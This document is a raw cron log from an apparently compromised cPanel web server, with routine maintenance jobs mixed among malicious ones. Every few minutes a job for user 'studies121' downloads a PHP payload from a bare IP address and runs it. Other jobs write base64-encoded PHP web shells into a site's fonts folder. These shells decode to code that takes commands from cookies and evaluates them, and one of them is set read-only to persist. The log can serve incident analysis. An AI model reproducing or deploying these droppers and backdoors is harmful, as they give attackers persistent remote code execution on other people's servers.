Aug 31 20:44:01 ip-184-168-122-23 CROND[26478]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:44:01 ip-184-168-122-23 CROND[26481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:45:01 ip-184-168-122-23 CROND[26572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:45:01 ip-184-168-122-23 CROND[26580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:45:01 ip-184-168-122-23 CROND[26581]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Aug 31 20:45:01 ip-184-168-122-23 CROND[26583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:45:01 ip-184-168-122-23 CROND[26584]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 20:45:01 ip-184-168-122-23 CROND[26582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:45:01 ip-184-168-122-23 CROND[26585]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:46:01 ip-184-168-122-23 CROND[26676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:46:01 ip-184-168-122-23 CROND[26678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:46:01 ip-184-168-122-23 CROND[26679]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:46:01 ip-184-168-122-23 CROND[26680]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 20:46:01 ip-184-168-122-23 CROND[26681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:46:01 ip-184-168-122-23 CROND[26682]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 20:46:01 ip-184-168-122-23 CROND[26683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:47:01 ip-184-168-122-23 CROND[26781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:47:01 ip-184-168-122-23 CROND[26784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:47:01 ip-184-168-122-23 CROND[26783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:47:01 ip-184-168-122-23 CROND[26785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:48:01 ip-184-168-122-23 CROND[26940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:48:01 ip-184-168-122-23 CROND[26942]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:48:01 ip-184-168-122-23 CROND[26944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:48:01 ip-184-168-122-23 CROND[26945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:48:01 ip-184-168-122-23 CROND[26943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:49:01 ip-184-168-122-23 CROND[27027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:49:01 ip-184-168-122-23 CROND[27030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:49:01 ip-184-168-122-23 CROND[27029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:49:01 ip-184-168-122-23 CROND[27031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:50:01 ip-184-168-122-23 CROND[27120]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 20:50:01 ip-184-168-122-23 CROND[27123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:50:01 ip-184-168-122-23 CROND[27125]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:50:01 ip-184-168-122-23 CROND[27124]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:50:01 ip-184-168-122-23 CROND[27128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:50:01 ip-184-168-122-23 CROND[27132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:50:01 ip-184-168-122-23 CROND[27130]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 20:50:01 ip-184-168-122-23 CROND[27129]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 20:50:01 ip-184-168-122-23 CROND[27134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:51:01 ip-184-168-122-23 CROND[27226]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:51:01 ip-184-168-122-23 CROND[27228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:51:01 ip-184-168-122-23 CROND[27229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:51:01 ip-184-168-122-23 CROND[27230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:52:01 ip-184-168-122-23 CROND[27311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:52:01 ip-184-168-122-23 CROND[27314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:52:01 ip-184-168-122-23 CROND[27313]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:52:01 ip-184-168-122-23 CROND[27316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:52:01 ip-184-168-122-23 CROND[27315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:53:01 ip-184-168-122-23 CROND[27409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:53:01 ip-184-168-122-23 CROND[27410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:53:01 ip-184-168-122-23 CROND[27412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:53:01 ip-184-168-122-23 CROND[27415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:54:01 ip-184-168-122-23 CROND[27572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:54:01 ip-184-168-122-23 CROND[27576]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:54:01 ip-184-168-122-23 CROND[27577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:54:01 ip-184-168-122-23 CROND[27574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:54:01 ip-184-168-122-23 CROND[27575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:55:01 ip-184-168-122-23 CROND[27664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:55:01 ip-184-168-122-23 CROND[27666]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:55:01 ip-184-168-122-23 CROND[27669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:55:01 ip-184-168-122-23 CROND[27667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:55:01 ip-184-168-122-23 CROND[27668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:55:01 ip-184-168-122-23 CROND[27671]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 20:56:01 ip-184-168-122-23 CROND[27773]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:56:01 ip-184-168-122-23 CROND[27775]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:56:01 ip-184-168-122-23 CROND[27776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
